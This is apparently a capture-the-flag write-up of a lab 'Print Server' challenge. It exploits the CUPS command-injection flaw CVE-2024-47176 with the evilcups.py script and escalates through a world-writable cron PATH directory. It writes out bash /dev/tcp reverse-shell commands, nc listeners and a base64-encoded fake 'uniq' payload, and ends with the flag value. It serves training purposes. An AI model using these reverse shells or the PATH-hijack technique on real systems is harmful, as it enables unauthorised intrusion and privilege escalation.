Skip to content

Print Server


🧠 Challenge Text

Hi, emergency troubleshooter,

we've received a notification from the national CSIRT that the print server ipp.powergrid.tcc may contain a vulnerability. Verify this report and determine whether the vulnerability is present and how severe it is.

Stay grounded!

🎨 Solution

We know that there is a printer server served at ipp.powergrid.tcc. The printer is usually accessible via web portal (tcp port) and exposes ipp protocol (udp port).

To observe open ports and services use nmap tool for the analysis. Start with scanning tcp ports for Ipv4 address and continue with udp port scan.

  • TCP port scan
    $ nmap -sC -sV -p- ipp.powergrid.tcc
    
    PORT    STATE SERVICE VERSION
    631/tcp open  ipp     CUPS 2.4
    |_http-server-header: CUPS/2.4 IPP/2.1
    |_http-title: Home - CUPS 2.4.7
    | http-robots.txt: 1 disallowed entry 
    |_/
    
  • UDP port scan
    $ sudo nmap -sU -p 631 ipp.powergrid.tcc
    
    PORT    STATE         SERVICE
    631/udp open|filtered ipp
    

The CUPS (Common Unix Printing System) printer web portal is pretty limited in terms of functionality for non-admin user. Though we are allowed to print a test pages! It aims to well-known CUPS CVE-2024-47176. It impacts CUPS 2.4.2 and possibly earlier versions (satisfied by the instance). The CVE-2024-47176 is a command injection vulnerability in CUPS (Common Unix Printing System) that allows unauthenticated remote attackers to install a malicious printer and execute arbitrary commands on a target system. Lets use existing exploit write-up evilcups.py.

The Key idea is to use reverse tcp shell command. Your machine listens at specific local port. Once malicious command is executed the remote machine shell is connected via tcp connection to your local port which listens for incoming connection.

nc -l -p <local_port>

Execute evil cup script where your address is assigned from vpn interface and local port is port on which the attacker (you) listens. Afterwards the printer should assigned in CUPS web portal and print a test page to get access remote shell.

python evilcups.py <your address> ipp.powergrid.tcc 'nohup bash -c "bash -i >& /dev/tcp/<your address>/<local_port> 0>&1"&'

Logged in Remote Machine

Now we should be connected to the remote host shell logged as ipp user. After several attempts to scan host machine for FLAG pattern in files, environment variables we can spot cron jobs running under root (ps aux).

lp@bcef912f8adf:/$ ps aux | grep cron
ps aux | grep cron
root        1161  0.0  0.0   3984  2460 ?        S    20:55   0:00 /usr/sbin/cron -f

lp@bcef912f8adf:/$ cat /etc/cron.d/*
cat /etc/cron.d/*
*/5 * * * * root /root/reset/restore.sh > /var/log/restore.log 2>&1
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
* * * * * cups_admin PATH=/opt/scripts:/usr/bin:/bin /usr/bin/python3 /opt/secure-scripts/statistics.py -n /opt/scripts/print_count.sh > /var/log/cron.log 2>&1

The last script is interesting; adds /opt/scripts to path (with write access for all), runs as cups_admin. We can safely inject print_count.sh script using custom uniq file.

* * * * * cups_admin PATH=/opt/scripts:/usr/bin:/bin /usr/bin/python3 /opt/secure-scripts/statistics.py -n /opt/scripts/print_count.sh > /var/log/cron.log 2>&1

lp@514ef0d207ae:/$ ls -la /opt/scripts       
ls -la /opt/scripts
total 12
drwxr-xrwx 2 root cronexec 4096 Nov  4 03:02 .
drwxr-xr-x 1 root root     4096 Nov  4 03:02 ..
-rwxr-xr-- 1 root cronexec  343 Nov  3 09:00 print_count.sh

lp@514ef0d207ae:/$ cat /opt/scripts/print_count.sh
cat /opt/scripts/print_count.sh
#!/bin/bash

log="/var/log/cups/access_log"
output="/tmp/stats.txt"

grep 'POST /printers/.*HTTP/1\.1" 200' "$log" | awk '{ print $4, $7 }' | while read -r datetime path; do
    date=$(echo "$datetime" | cut -d: -f1 | tr -d '[')
    printer=$(echo "$path" | cut -d'/' -f3)
    echo "$date $printer"
done | sort | uniq -c | sort -nr > "$output"

... Here, again we aim to use reverse tcp shell which logged us as cups_admin user. To create uniq file script in the shell it is best to crafted locally as base64 string:

cat <<'EOF' | base64 -w0
#!/bin/bash

nohup bash -c "bash -i >& /dev/tcp/<our address>/<local another free port> 0>&1"&
/usr/bin/uniq $*
EOF

then execute following command

echo IyEvYmluL2Jhc2gKCm5vaHVwIGJhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMjAwLjAuMjEvMTIwMDEgMD4mMSImCi91c3IvYmluL3VuaXEgJCoK | base64 -d > /opt/scripts/uniq
chmod a+rx /opt/scripts

Locally expose another free port (12001) and shortly we should access the desired shell. Finally with elevated privileges there is extra strange sudoers command /bin/cat /root/TODO.txt giving us the final FLAG!

malisha@malisha-ASUS-TUF-Gaming-F15-FX506LH-FX506LH:~$ nc -l -p 12001
bash: cannot set terminal process group (393): Inappropriate ioctl for device
bash: no job control in this shell

cups_admin@514ef0d207ae:~$ sudo -l
sudo -l
Matching Defaults entries for cups_admin on 514ef0d207ae:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User cups_admin may run the following commands on 514ef0d207ae:
    (ALL) NOPASSWD: /bin/cat /root/TODO.txt
cups_admin@514ef0d207ae:~$ sudo cat /root/TODO.txt
sudo cat /root/TODO.txt
FLAG{HqW1-cHIN-6S8U-w5uQ}
cups_admin@514ef0d207ae:~$